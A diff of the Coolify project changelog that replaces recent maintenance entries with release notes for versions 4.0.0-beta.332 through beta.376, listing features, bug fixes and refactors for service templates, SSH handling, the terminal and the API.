-- *(dependencies)* Update composer dependencies to latest versions including resend-laravel to ^0.19.0 and aws-sdk-php to 3.347.0
-- *(versions)* Update Coolify version to 4.0.0-beta.420.1 and add new services (karakeep, miniflux, pingvinshare) to service templates
-- *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files
-- *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively
-- *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively
-- *(service)* Update Nitropage template (#6181)
-- *(versions)* Update all version
-- *(bump)* Update composer deps
-- *(version)* Bump Coolify version to 4.0.0-beta.420.6
-- *(service)* Improve matrix service
-- *(service)* Format runner service
-- *(service)* Improve sequin
-- *(service)* Add `NOT_SECURED` env to Postiz (#6243)
-- *(service)* Improve evolution-api environment variables (#6283)
-- *(service)* Update Langfuse template to v3 (#6301)
-- *(core)* Remove unused argument
-- *(deletion)* Rename isDeleteOperation to deleteConnectedNetworks
-- *(docker)* Remove unused arguments on StopService
-- *(service)* Homebox formatting
-- Clarify usage of custom redis configuration (#6321)
-- *(changelogs)* Add .gitignore for changelogs directory and remove outdated changelog files for May, June, and July 2025
-- *(service)* Change affine images (#6366)
-- Elasticsearch URL, fromatting and add category
-- Update service-templates json files
-- *(docs)* Remove AGENTS.md file; enhance CLAUDE.md with detailed form authorization patterns and service configuration examples
-- *(cleanup)* Remove unused GitLab view files for change, new, and show pages
-- *(workflows)* Add backlog directory to build triggers for production and staging workflows
-- *(config)* Disable auto_commit in backlog configuration to prevent automatic commits
-- *(versions)* Update coolify version to 4.0.0-beta.420.8 and nightly version to 4.0.0-beta.420.9 in versions.json and constants.php
-- *(docker)* Update soketi image version to 1.0.10 in production and Windows configurations
-- *(core)* Update version
-- *(core)* Update version
-- *(versions)* Update coolify version to 4.0.0-beta.421 and nightly version to 4.0.0-beta.422
-- Update version
-- Update development node version
-- Update coolify version to 4.0.0-beta.423 and nightly version to 4.0.0-beta.424
-- Update coolify version to 4.0.0-beta.424 and nightly version to 4.0.0-beta.425
-- Update coolify version to 4.0.0-beta.425 and nightly version to 4.0.0-beta.426
-- Update coolify version to 4.0.0-beta.426 and nightly version to 4.0.0-beta.427
-- Update coolify version to 4.0.0-beta.427 and nightly version to 4.0.0-beta.428
-- Use main value then fallback to service_ values
-- Remove webhooks table cleanup
-- *(cleanup)* Remove deprecated ServerCheck and related job classes to streamline codebase
-- *(versions)* Update sentinel version from 0.0.15 to 0.0.16 in versions.json files
-- *(constants)* Update realtime_version from 1.0.10 to 1.0.11
-- *(versions)* Increment coolify version to 4.0.0-beta.428 and update realtime_version to 1.0.10
-- *(docker)* Add a blank line for improved readability in Dockerfile
-- *(versions)* Bump coolify version to 4.0.0-beta.429 and nightly version to 4.0.0-beta.430
-- Change order of runtime and buildtime
-- *(docker-compose)* Update soketi image version to 1.0.10 in production and Windows configurations
-- *(versions)* Update coolify version numbers to 4.0.0-beta.430 and 4.0.0-beta.431 in configuration files
-- *(versions)* Increment coolify version numbers to 4.0.0-beta.431 and 4.0.0-beta.432 in configuration files
-- *(versions)* Update coolify version numbers to 4.0.0-beta.432 and 4.0.0-beta.433 in configuration files
-- Remove unused files
-- Adjust wording
-- *(workflow)* Update pull request trigger to pull_request_target and refine permissions for enhanced security
-- *(application)* Remove debugging statement from loadComposeFile method
-- *(workflows)* Update Claude GitHub Action configuration to support new event types and improve permissions
-- *(versions)* Update coolify version to 4.0.0-beta.433 and nightly version to 4.0.0-beta.434 in configuration files
-- *(versions)* Update version numbers for Coolify releases
-- *(versions)* Bump Coolify stable version to 4.0.0-beta.434
-- *(versions)* Update Coolify version numbers to 4.0.0-beta.435 and 4.0.0-beta.436
-- Update package-lock.json
-- *(service)* Update convex template and image
-- *(signoz)* Remove unused ports
-- *(signoz)* Bump version to 0.77.0
-- *(signoz)* Bump version to 0.78.1
-- Add category field to siyuan.yaml
-- Update siyuan category in service templates
+
+## [4.0.0-beta.376] - 2024-12-07
+
+### 🐛 Bug Fixes
+
+- Api endpoint
+
+## [4.0.0-beta.374] - 2024-12-03
+
+### 🐛 Bug Fixes
+
+- Application view loading
+- Postiz service
+- Only able to select the right keys
+- Test email should not be required
+- A few inputs
+
+### 🧪 Testing
+
+- Setup database for upcoming tests
+
+## [4.0.0-beta.372] - 2024-11-26
+
+### 🚀 Features
+
+- Add MacOS template
+- Add Windows template
+- *(service)* :sparkles: add mealie
+- Add hex magic env var
+
+### 🐛 Bug Fixes
+
+- Service generate includes yml files as well (haha)
+- ServercheckJob should run every 5 minutes on cloud
+- New resource icons
+- Search should be more visible on scroll on new resource
+- Logdrain settings
+- Ui
+- Email should be retried with backoff
+- Alpine in body layout
+
+### 💼 Other
+
+- Caddy docker labels do not honor "strip prefix" option
+
+## [4.0.0-beta.371] - 2024-11-22
+
+### 🐛 Bug Fixes
+
+- Improve helper text for metrics input fields
+- Refine helper text for metrics input fields
+- If mux conn fails, still use it without mux + save priv key with better logic
+- Migration
+- Always validate ssh key
+- Make sure important jobs/actions are running on high prio queue
+- Do not send internal notification for backups and status jobs
+- Validateconnection
+- View issue
+- Heading
+- Remove mux cleanup
+- Db backup for services
+- Version should come from constants + fix stripe webhook error reporting
+- Undefined variable
+- Remove version.php as everything is coming from constants.php
+- Sentry error
+- Websocket connections autoreconnect
+- Sentry error
+- Sentry
+- Empty server API response
+- Incorrect server API patch response
+- Missing `uuid` parameter on server API patch
+- Missing `settings` property on servers API
+- Move servers API `delete_unused_*` properties
+- Servers API returning `port` as a string -> integer
+- Only return server uuid on server update
+
+## [4.0.0-beta.370] - 2024-11-15
+
+### 🐛 Bug Fixes
+
+- Modal (+ add) on dynamic config was not opening, removed x-cloak
+- AUTOUPDATE + checkbox opacity
+
+## [4.0.0-beta.369] - 2024-11-15
+
+### 🐛 Bug Fixes
+
+- Modal-input
+
+## [4.0.0-beta.368] - 2024-11-15
+
+### 🚀 Features
+
+- Check local horizon scheduler deployments
+- Add internal api docs to /docs/api with auth
+- Add proxy type change to create/update apis
+
+### 🐛 Bug Fixes
+
+- Show proper error message on invalid Git source
+- Convert HTTP to SSH source when using deploy key on GitHub
+- Cloud + stripe related
+- Terminal view loading in async
+- Cool 500 error (thanks hugodos)
+- Update schema in code decorator
+- Openapi docs
+- Add tests for git url converts
+- Minio / logto url generation
+- Admin view
+- Min docker version 26
+- Pull latest service-templates.json on init
+- Workflow files for coolify build
+- Autocompletes
+- Timezone settings validation
+- Invalid tz should not prevent other jobs to be executed
+- Testing-host should be built locally
+- Poll with modal issue
+- Terminal opening issue
+- If service img not found, use github as a source
+- Fallback to local coolify.png
+- Gather private ips
+- Cf tunnel menu should be visible when server is not validated
+- Deployment optimizations
+- Init script + optimize laravel
+- Default docker engine version + fix install script
+- Pull helper image on init
+- SPA static site default nginx conf
+
+### 💼 Other
+
+- Https://github.com/coollabsio/coolify/issues/4186
+- Separate resources by type in projects view
+- Improve s3 add view
+
+### ⚙️ Miscellaneous Tasks
+
+- Update dep
+
+## [4.0.0-beta.365] - 2024-11-11
+
+### 🚀 Features
+
+- Custom nginx configuration for static deployments + fix 404 redirects in nginx conf
+
+### 🐛 Bug Fixes
+
+- Trigger.dev db host & sslmode=disable
+- Manual update should be executed only once + better UX
+- Upgrade.sh
+- Missing privateKey
+
+## [4.0.0-beta.364] - 2024-11-08
+
+### 🐛 Bug Fixes
+
+- Define separate volumes for mattermost service template
+- Github app name is too long
+- ServerTimezone update
+
+### ⚙️ Miscellaneous Tasks
+
+- Edit www helper
+
+## [4.0.0-beta.363] - 2024-11-08
+
+### 🚀 Features
+
+- Add Firefox template
+- Add template for Wiki.js
+- Add upgrade logs to /data/coolify/source
+
+### 🐛 Bug Fixes
+
+- Saving resend api key
+- Wildcard domain save
+- Disable cloudflare tunnel on "localhost"
+
+## [4.0.0-beta.362] - 2024-11-08
+
+### 🐛 Bug Fixes
+
+- Notifications ui
+- Disable wire:navigate
+- Confirmation Settings css for light mode
+- Server wildcard
+
+## [4.0.0-beta.361] - 2024-11-08
+
+### 🚀 Features
+
+- Add Transmission template
+- Add transmission healhcheck
+- Add zipline template
+- Dify template
+- Required envs
+- Add EdgeDB
+- Show warning if people would like to use sslip with https
+- Add is shared to env variables
+- Variabel sync and support shared vars
+- Add notification settings to server_disk_usage
+- Add coder service tamplate and logo
+- Debug mode for sentinel
+- Add jitsi template
+- Add --gpu support for custom docker command
+
+### 🐛 Bug Fixes
+
+- Make sure caddy is not removed by cleanup
+- Libretranslate
+- Do not allow to change number of lines when streaming logs
+- Plunk
+- No manual timezones
+- Helper push
+- Format
+- Add port metadata and Coolify magic to generate the domain
+- Sentinel
+- Metrics
+- Generate sentinel url
+- Only enable Sentinel for new servers
+- Is_static through API
+- Allow setting standalone redis variables via ENVs (team variables...)
+- Check for username separately form password
+- Encrypt all existing redis passwords
+- Pull helper image on helper_version change
+- Redis database user and password
+- Able to update ipv4 / ipv6 instance settings
+- Metrics for dbs
+- Sentinel start fixed
+- Validate sentinel custom URL when enabling sentinel
+- Should be able to reset labels in read-only mode with manual click
+- No sentinel for swarm yet
+- Charts ui
+- Volume
+- Sentinel config changes restarts sentinel
+- Disable sentinel for now
+- Disable Sentinel temporarily
+- Disable Sentinel temporarily for non-dev environments
+- Access team's github apps only
+- Admins should now invite owner
+- Add experimental flag
+- GenerateSentinelUrl method
+- NumberOfLines could be null
+- Login / register view
+- Restart sentinel once a day
+- Changing private key manually won't trigger a notification
+- Grammar for helper
+- Fix my own grammar
+- Add telescope only in dev mode
+- New way to update container statuses
+- Only run server storage every 10 mins if sentinel is not active
+- Cloud admin view
+- Queries in kernel.php
+- Lower case emails only
+- Change emails to lowercase on init
+- Do not error on update email
+- Always authenticate with lowercase emails
+- Dashboard refactor
+- Add min/max length to input/texarea
+- Remove livewire legacy from help view
+- Remove unnecessary endpoints (magic)
+- Transactional email livewire
+- Destinations livewire refactor
+- Refactor destination/docker view
+- Logdrains validation
+- Reworded
+- Use Auth(), add new db proxy stop event refactor clickhouse view
+- Add user/pw to db view
+- Sort servers by name
+- Keydb view
+- Refactor tags view / remove obsolete one
+- Send discord/telegram notifications on high job queue
+- Server view refresh on validation
+- ShowBoarding
+- Show docker installation logs & ubuntu 24.10 notification
+- Do not overlap servercheckjob
+- Server limit check
+- Server validation
+- Clear route / view
+- Only skip docker installation on 24.10 if its not installed
+- For --gpus device support
+- Db/service start should be on high queue
+- Do not stop sentinel on Coolify restart
+- Run resourceCheck after new serviceCheckJob
+- Mongodb in dev
+- Better invitation errors
+- Loading indicator for db proxies
+- Do not execute gh workflow on template changes
+- Only use sentry in cloud
+- Update packagejson of coolify-realtime + add lock file
+- Update last online with old function
+- Seeder should not start sentinel
+- Start sentinel on seeder
+
+### 💼 Other
+
+- Add peppermint
+- Loggy
+- Add UI for redis password and username
+- Wireguard-easy template
+
+### 📚 Documentation
+
+- Update link to deploy api docs
+
+### ⚙️ Miscellaneous Tasks
+
+- Add transmission template desc
+- Update transmission docs link
+- Update version numbers to 4.0.0-beta.360 in configuration files
+- Update AWS environment variable names in unsend.yaml
+- Update AWS environment variable names in unsend.yaml
+- Update livewire/livewire dependency to version 3.4.9
+- Update version to 4.0.0-beta.361
+- Update Docker build and push actions to v6
+- Update Docker build and push actions to v6
+- Update Docker build and push actions to v6
+- Sync coolify-helper to dockerhub as well
+- Push realtime to dockerhub
+- Sync coolify-realtime to dockerhub
+- Rename workflows
+- Rename development to staging build
+- Sync coolify-testing-host to dockerhbu
+- Sync coolify prod image to dockerhub as well
+- Update Docker version to 26.0
+- Update project resource index page
+- Update project service configuration view
+
+## [4.0.0-beta.360] - 2024-10-11
+
+### ⚙️ Miscellaneous Tasks
+
+- Update livewire/livewire dependency to version 3.4.9
+
+## [4.0.0-beta.359] - 2024-10-11
+
+### 🐛 Bug Fixes
+
+- Use correct env variable for invoice ninja password
+
+### ⚙️ Miscellaneous Tasks
+
+- Update laravel/horizon dependency to version 5.29.1
+- Update service extra fields to use dynamic keys
+
+## [4.0.0-beta.358] - 2024-10-10
+
+### 🚀 Features
+
+- Add customHelper to stack-form
+- Add cloudbeaver template
+- Add ntfy template
+- Add qbittorrent template
+- Add Homebox template
+- Add owncloud service and logo
+- Add immich service
+- Auto generate url
+- Refactored to work with coolify auto env vars
+- Affine service template and logo
+- Add LibreTranslate template
+- Open version in a new tab
+
+### 🐛 Bug Fixes
+
+- Signup
+- Application domains should be http and https only
+- Validate and sanitize application domains
+- Sanitize and validate application domains
+
+### 💼 Other
+
+- Other DB options for freshrss
+- Nextcloud MariaDB and MySQL versions
+
+### ⚙️ Miscellaneous Tasks
+
+- Fix form submission and keydown event handling in modal-confirmation.blade.php
+- Update version numbers to 4.0.0-beta.359 in configuration files
+- Disable adding default environment variables in shared.php
+
+## [4.0.0-beta.357] - 2024-10-08
+
+### 🚀 Features
+
+- Add Mautic 4 and 5 to service templates
+- Add keycloak template
+- Add onedev template
+- Improve search functionality in project selection
+
+### 🐛 Bug Fixes
+
+- Update mattermost image tag and add default port
+- Remove env, change timezone
+- Postgres healthcheck
+- Azimutt template - still not working haha
+- New parser with SERVICE_URL_ envs
+- Improve service template readability
+- Update password variables in Service model
+- Scheduled database server
+- Select server view
+
+### 💼 Other
+
+- Keycloak
+
+### ⚙️ Miscellaneous Tasks
+
+- Add mattermost logo as svg
+- Add mattermost svg to compose
+- Update version to 4.0.0-beta.357
+
+## [4.0.0-beta.356] - 2024-10-07
+
+### 🚀 Features
+
+- Add Argilla service configuration to Service model
+- Add Invoice Ninja service configuration to Service model
+- Project search on frontend
+- Add ollama service with open webui and logo
+- Update setType method to use slug value for type
+- Refactor setType method to use slug value for type
+- Refactor setType method to use slug value for type
+- Add Supertokens template
+- Add easyappointments service template
+- Add dozzle template
+- Adds forgejo service with runners
+
+### 🐛 Bug Fixes
+
+- Reset description and subject fields after submitting feedback
+- Tag mass redeployments
+- Service env orders, application env orders
+- Proxy conf in dev
+- One-click services
+- Use local service-templates in dev
+- New services
+- Remove not used extra host
+- Chatwoot service
+- Directus
+- Database descriptions
+- Update services
+- Soketi
+- Select server view
+
+### 💼 Other
+
+- Update helper version
+- Outline
+- Directus
+- Supertokens
+- Supertokens json
+- Rabbitmq
+- Easyappointments
+- Soketi
+- Dozzle
+- Windmill
+- Coolify.json
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.356
+- Remove commented code for shared variable type validation
+- Update MariaDB image to version 11 and fix service environment variable orders
+- Update anythingllm.yaml volumes configuration
+- Update proxy configuration paths for Caddy and Nginx in dev
+- Update password form submission in modal-confirmation component
+- Update project query to order by name in uppercase
+- Update project query to order by name in lowercase
+- Update select.blade.php with improved search functionality
+- Add Nitropage service template and logo
+- Bump coolify-helper version to 1.0.2
+- Refactor loadServices2 method and remove unused code
+- Update version to 4.0.0-beta.357
+- Update service names and volumes in windmill.yaml
+- Update version to 4.0.0-beta.358
+- Ignore .ignition.json files in Docker and Git
+
+## [4.0.0-beta.355] - 2024-10-03
+
+### 🐛 Bug Fixes
+
+- Scheduled backup for services view
+- Parser, espacing container labels
+
+### ⚙️ Miscellaneous Tasks
+
+- Update homarr service template and remove unnecessary code
+- Update version to 4.0.0-beta.355
+
+## [4.0.0-beta.354] - 2024-10-03
+
+### 🚀 Features
+
+- Add it-tools service template and logo
+- Add homarr service tamplate and logo
+
+### 🐛 Bug Fixes
+
+- Parse proxy config and check the set ports usage
+- Update FQDN
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.354
+- Remove debug statement in Service model
+- Remove commented code in Server model
+- Fix application deployment queue filter logic
+- Refactor modal-confirmation component
+- Update it-tools service template and port configuration
+- Update homarr service template and remove unnecessary code
+
+## [4.0.0-beta.353] - 2024-10-03
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.353
+- Update service application view
+
+## [4.0.0-beta.352] - 2024-10-03
+
+### 🐛 Bug Fixes
+
+- Service application view
+- Add new supported database images
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.352
+- Refactor DatabaseBackupJob to handle missing team
+
+## [4.0.0-beta.351] - 2024-10-03
+
+### 🚀 Features
+
+- Add strapi template
+
+### 🐛 Bug Fixes
+
+- Able to support more database dynamically from Coolify's UI
+- Strapi template
+- Bitcoin core template
+- Api useBuildServer
+
+## [4.0.0-beta.349] - 2024-10-01
+
+### 🚀 Features
+
+- Add command to check application deployment queue
+- Support Hetzner S3
+- Handle HTTPS domain in ConfigureCloudflareTunnels
+- Backup all databases for mysql,mariadb,postgresql
+- Restart service without pulling the latest image
+
+### 🐛 Bug Fixes
+
+- Remove autofocuses
+- Ipv6 scp should use -6 flag
+- Cleanup stucked applicationdeploymentqueue
+- Realtime watch in development mode
+- Able to select root permission easier
+
+### 💼 Other
+
+- Show backup button on supported db service stacks
+
+### 🚜 Refactor
+
+- Remove deployment queue when deleting an application
+- Improve SSH command generation in Terminal.php and terminal-server.js
+- Fix indentation in modal-confirmation.blade.php
+- Improve parsing of commands for sudo in parseCommandsByLineForSudo
+- Improve popup component styling and button behavior
+- Encode delimiter in SshMultiplexingHelper
+- Remove inactivity timer in terminal-server.js
+- Improve socket reconnection interval in terminal.js
+- Remove unnecessary watch command from soketi service entrypoint
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.350 in configuration files
+- Update command signature and description for cleanup application deployment queue
+- Add missing import for Attribute class in ApplicationDeploymentQueue model
+- Update modal input in server form to prevent closing on outside click
+- Remove unnecessary command from SshMultiplexingHelper
+- Remove commented out code for uploading to S3 in DatabaseBackupJob
+- Update soketi service image to version 1.0.3
+
+## [4.0.0-beta.348] - 2024-10-01
+
+### 🚀 Features
+
+- Update resource deletion job to allow configurable options through API
+- Add query parameters for deleting configurations, volumes, docker cleanup, and connected networks
+
+### 🐛 Bug Fixes
+
+- In dev mode do not ask confirmation on delete
+- Mixpost
+- Handle deletion of 'hello' in confirmation modal for dev environment
+
+### 💼 Other
+
+- Server storage check
+
+### 🚜 Refactor
+
+- Update search input placeholder in resource index view
+
+### ⚙️ Miscellaneous Tasks
+
+- Fix docs link in running state
+- Update Coolify Realtime workflow to only trigger on the main branch
+- Refactor instanceSettings() function to improve code readability
+- Update Coolify Realtime image to version 1.0.2
+- Remove unnecessary code in DatabaseBackupJob.php
+- Add "Not Usable" indicator for storage items
+- Refactor instanceSettings() function and improve code readability
+- Update version numbers to 4.0.0-beta.349 and 4.0.0-beta.350
+
+## [4.0.0-beta.347] - 2024-09-28
+
+### 🚀 Features
+
+- Allow specify use_build_server when creating/updating an application
+- Add support for `use_build_server` in API endpoints for creating/updating applications
+- Add Mixpost template
+
+### 🐛 Bug Fixes
+
+- Filebrowser template
+- Edit is_build_server_enabled upon creating application on other application type
+- Save settings after assigning value
+
+### 💼 Other
+
+- Remove memlock as it caused problems for some users
+
+### ⚙️ Miscellaneous Tasks
+
+- Update Mailpit logo to use SVG format
+
+## [4.0.0-beta.346] - 2024-09-27
+
+### 🚀 Features
+
+- Add ContainerStatusTypes enum for managing container status
+
+### 🐛 Bug Fixes
+
+- Proxy fixes
+- Proxy
+- *(templates)* Filebrowser FQDN env variable
+- Handle edge case when build variables and env variables are in different format
+- Compose based terminal
+
+### 💼 Other
+
+- Manual cleanup button and unused volumes and network deletion
+- Force helper image removal
+- Use the new confirmation flow
+- Typo
+- Typo in install script
+- If API is disabeled do not show API token creation stuff
+- Disable API by default
+- Add debug bar
+
+### 🚜 Refactor
+
+- Update environment variable name for uptime-kuma service
+- Improve start proxy script to handle existing containers gracefully
+- Update delete server confirmation modal buttons
+- Remove unnecessary code
+
+### ⚙️ Miscellaneous Tasks
+
+- Add autocomplete attribute to input fields
+- Refactor API Tokens component to use isApiEnabled flag
+- Update versions.json file
+- Remove unused .env.development.example file
+- Update API Tokens view to include link to Settings menu
+- Update web.php to cast server port as integer
+- Update backup deletion labels to use language files
+- Update database startup heading title
+- Update database startup heading title
+- Custom vite envs
+- Update version numbers to 4.0.0-beta.348
+- Refactor code to improve SSH key handling and storage
+
+## [4.0.0-beta.343] - 2024-09-25
+
+### 🐛 Bug Fixes
+
+- Parser
+- Exited services statuses
+- Make sure to reload window if app status changes
+- Deploy key based deployments
+
+### 🚜 Refactor
+
+- Remove commented out code and improve environment variable handling in newParser function
+- Improve label positioning in input and checkbox components
+- Group and sort fields in StackForm by service name and password status
+- Improve layout and add checkbox for task enablement in scheduled task form
+- Update checkbox component to support full width option
+- Update confirmation label in danger.blade.php template
+- Fix typo in execute-container-command.blade.php
+- Update OS_TYPE for Asahi Linux in install.sh script
+- Add localhost as Server if it doesn't exist and not in cloud environment
+- Add localhost as Server if it doesn't exist and not in cloud environment
+- Update ProductionSeeder to fix issue with coolify_key assignment
+- Improve modal confirmation titles and button labels
+- Update install.sh script to remove redirection of upgrade output to /dev/null
+- Fix modal input closeOutside prop in configuration.blade.php
+- Add support for IPv6 addresses in sslip function
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.343
+- Update version numbers to 4.0.0-beta.344
+- Update version numbers to 4.0.0-beta.345
+- Update version numbers to 4.0.0-beta.346
+
+## [4.0.0-beta.342] - 2024-09-24
+
+### 🚀 Features
+
+- Add nullable constraint to 'fingerprint' column in private_keys table
+- *(api)* Add an endpoint to execute a command
+- *(api)* Add endpoint to execute a command
+
+### 🐛 Bug Fixes
+
+- Proxy status
+- Coolify-db should not be in the managed resources
+- Store original root key in the original location
+- Logto service
+- Cloudflared service
+- Migrations
+- Cloudflare tunnel configuration, ui, etc
+
+### 💼 Other
+
+- Volumes on development environment
+- Clean new volume name for dev volumes
+- Persist DBs, services and so on stored in data/coolify
+- Add SSH Key fingerprint to DB
+- Add a fingerprint to every private key on save, create...
+- Make sure invalid private keys can not be added
+- Encrypt private SSH keys in the DB
+- Add is_sftp and is_server_ssh_key coloums
+- New ssh key file name on disk
+- Store all keys on disk by default
+- Populate SSH key folder
+- Populate SSH keys in dev
+- Use new function names and logic everywhere
+- Create a Multiplexing Helper
+- SSH multiplexing
+- Remove unused code form multiplexing
+- SSH Key cleanup job
+- Private key with ID 2 on dev
+- Move more functions to the PrivateKey Model
+- Add ssh key fingerprint and generate one for existing keys
+- ID issues on dev seeders
+- Server ID 0
+- Make sure in use private keys are not deleted
+- Do not delete SSH Key from disk during server validation error
+- UI bug, do not write ssh key to disk in server dialog
+- SSH Multiplexing for Jobs
+- SSH algorhytm text
+- Few multiplexing things
+- Clear mux directory
+- Multiplexing do not write file manually
+- Integrate tow step process in the modal component WIP
+- Ability to hide labels
+- DB start, stop confirm
+- Del init script
+- General confirm
+- Preview deployments and typos
+- Service confirmation
+- Confirm file storage
+- Stop service confirm
+- DB image cleanup
+- Confirm ressource operation
+- Environment variabel deletion
+- Confirm scheduled tasks
+- Confirm API token
+- Confirm private key
+- Confirm server deletion
+- Confirm server settings
+- Proxy stop and restart confirmation
+- GH app deletion confirmation
+- Redeploy all confirmation
+- User deletion confirmation
+- Team deletion confirmation
+- Backup job confirmation
+- Delete volume confirmation
+- More conformations and fixes
+- Delete unused private keys button
+- Ray error because port is not uncommented
+- #3322 deploy DB alterations before updating
+- Css issue with advanced settings and remove cf tunnel in onboarding
+- New cf tunnel install flow
+- Made help text more clear
+- Cloudflare tunnel
+- Make helper text more clean to use a FQDN and not an URL
+
+### 🚜 Refactor
+
+- Update Docker cleanup label in Heading.php and Navbar.php
+- Remove commented out code in Navbar.php
+- Remove CleanupSshKeysJob from schedule in Kernel.php
+- Update getAJoke function to exclude offensive jokes
+- Update getAJoke function to use HTTPS for API request
+- Update CleanupHelperContainersJob to use more efficient Docker command
+- Update PrivateKey model to improve code readability and maintainability
+- Remove unnecessary code in PrivateKey model
+- Update PrivateKey model to use ownedByCurrentTeam() scope for cleanupUnusedKeys()
+- Update install.sh script to check if coolify-db volume exists before generating SSH key
+- Update ServerSeeder and PopulateSshKeysDirectorySeeder
+- Improve attribute sanitization in Server model
+- Update confirmation button text for deletion actions
+- Remove unnecessary code in shared.php file
+- Update environment variables for services in compose files
+- Update select.blade.php to improve trademarks policy display
+- Update select.blade.php to improve trademarks policy display
+- Fix typo in subscription URLs
+- Add Postiz service to compose file (disabled for now)
+- Update shared.php to include predefined ports for services
+- Simplify SSH key synchronization logic
+- Remove unused code in DatabaseBackupStatusJob and PopulateSshKeysDirectorySeeder
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.342
+- Update remove-labels-and-assignees-on-close.yml
+- Add SSH key for localhost in ProductionSeeder
+- Update SSH key generation in install.sh script
+- Update ProductionSeeder to call OauthSettingSeeder and PopulateSshKeysDirectorySeeder
+- Update install.sh to support Asahi Linux
+- Update install.sh version to 1.6
+- Remove unused middleware and uniqueId method in DockerCleanupJob
+- Refactor DockerCleanupJob to remove unused middleware and uniqueId method
+- Remove unused migration file for populating SSH keys and clearing mux directory
+- Add modified files to the commit
+- Refactor pre-commit hook to improve performance and readability
+- Update CONTRIBUTING.md with troubleshooting note about database migrations
+- Refactor pre-commit hook to improve performance and readability
+- Update cleanup command to use Redis instead of queue
+- Update Docker commands to start proxy
+
+## [4.0.0-beta.341] - 2024-09-18
+
+### 🚀 Features
+
+- Add buddy logo
+
+## [4.0.0-beta.336] - 2024-09-16
+
+### 🚀 Features
+
+- Make coolify full width by default
+- Fully functional terminal for command center
+- Custom terminal host
+
+### 🐛 Bug Fixes
+
+- Keep-alive ws connections
+- Add build.sh to debug logs
+- Update Coolify installer
+- Terminal
+- Generate https for minio
+- Install script
+- Handle WebSocket connection close in terminal.blade.php
+- Able to open terminal to any containers
+- Refactor run-command
+- If you exit a container manually, it should close the underlying tty as well
+- Move terminal to separate view on services
+- Only update helper image in DB
+- Generated fqdn for SERVICE_FQDN_APP_3000 magic envs
+
+### 💼 Other
+
+- Remove labels and assignees on issue close
+- Make sure this action is also triggered on PR issue close
+
+### 🚜 Refactor
+
+- Remove unnecessary code in ExecuteContainerCommand.php
+- Improve Docker network connection command in StartService.php
+- Terminal / run command
+- Add authorization check in ExecuteContainerCommand mount method
+- Remove unnecessary code in Terminal.php
+- Remove unnecessary code in Terminal.blade.php
+- Update WebSocket connection initialization in terminal.blade.php
+- Remove unnecessary console.log statements in terminal.blade.php
+
+### ⚙️ Miscellaneous Tasks
+
+- Update release version to 4.0.0-beta.336
+- Update coolify environment variable assignment with double quotes
+- Update shared.php to fix issues with source and network variables
+- Update terminal styling for better readability
+- Update button text for container connection form
+- Update Dockerfile and workflow for Coolify Realtime (v4)
+- Remove unused entrypoint script and update volume mapping
+- Update .env file and docker-compose configuration
+- Update APP_NAME environment variable in docker-compose.prod.yml
+- Update WebSocket URL in terminal.blade.php
+- Update Dockerfile and workflow for Coolify Realtime (v4)
+- Update Dockerfile and workflow for Coolify Realtime (v4)
+- Update Dockerfile and workflow for Coolify Realtime (v4)
+- Rename Command Center to Terminal in code and views
+- Update branch restriction for push event in coolify-helper.yml
+- Update terminal button text and layout in application heading view
+- Refactor terminal component and select form layout
+- Update coolify nightly version to 4.0.0-beta.335
+- Update helper version to 1.0.1
+- Fix syntax error in versions.json
+- Update version numbers to 4.0.0-beta.337
+- Update Coolify installer and scripts to include a function for fetching programming jokes
+- Update docker network connection command in ApplicationDeploymentJob.php
+- Add validation to prevent selecting 'default' server or container in RunCommand.php
+- Update versions.json to reflect latest version of realtime container
+- Update soketi image to version 1.0.1
+- Nightly - Update soketi image to version 1.0.1 and versions.json to reflect latest version of realtime container
+- Update version numbers to 4.0.0-beta.339
+- Update version numbers to 4.0.0-beta.340
+- Update version numbers to 4.0.0-beta.341
+
+### ◀️ Revert
+
+- Databasebackup
+
+## [4.0.0-beta.335] - 2024-09-12
+
+### 🐛 Bug Fixes
+
+- Cloudflare tunnel with new multiplexing feature
+
+### 💼 Other
+
+- SSH Multiplexing on docker desktop on Windows
+
+### ⚙️ Miscellaneous Tasks
+
+- Update release version to 4.0.0-beta.335
+- Update constants.ssh.mux_enabled in remoteProcess.php
+- Update listeners and proxy settings in server form and new server components
+- Remove unnecessary null check for proxy_type in generate_default_proxy_configuration
+- Remove unnecessary SSH command execution time logging
+
+## [4.0.0-beta.334] - 2024-09-12
+
+### ⚙️ Miscellaneous Tasks
+
+- Remove itsgoingd/clockwork from require-dev in composer.json
+- Update 'key' value of gitlab in Service.php to use environment variable
+
+## [4.0.0-beta.333] - 2024-09-11
+
+### 🐛 Bug Fixes
+
+- Disable mux_enabled during server validation
+- Move mc command to coolify image from helper
+- Keydb. add `:` delimiter for connection string
+
+### 💼 Other
+
+- Remote servers with port and user
+- Do not change localhost server name on revalidation
+- Release.md file
+
+### 🚜 Refactor
+
+- Improve handling of environment variable merging in upgrade script
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.333
+- Copy .env file to .env-{DATE} if it exists
+- Update .env file with new values
+- Update server check job middleware to use server ID instead of UUID
+- Add reminder to backup .env file before running install script again
+- Copy .env file to backup location during installation script
+- Add reminder to backup .env file during installation script
+- Update permissions in pr-build.yml and version numbers
+- Add minio/mc command to Dockerfile
+
+## [4.0.0-beta.332] - 2024-09-10
+
+### 🚀 Features
+
+- Expose project description in API response
+- Add elixir finetunes to the deployment job
+
+### 🐛 Bug Fixes
+
+- Reenable overlapping servercheckjob
+- Appwrite template + parser
+- Don't add `networks` key if `network_mode` is used
+- Remove debug statement in shared.php
+- Scp through cloudflare
+- Delete older versions of the helper image other than the latest one
+- Update remoteProcess.php to handle null values in logItem properties
+
+### 💼 Other
+
+- Set a default server timezone
+- Implement SSH Multiplexing
+- Enabel mux
+- Cleanup stale multiplexing connections
+
+### 🚜 Refactor
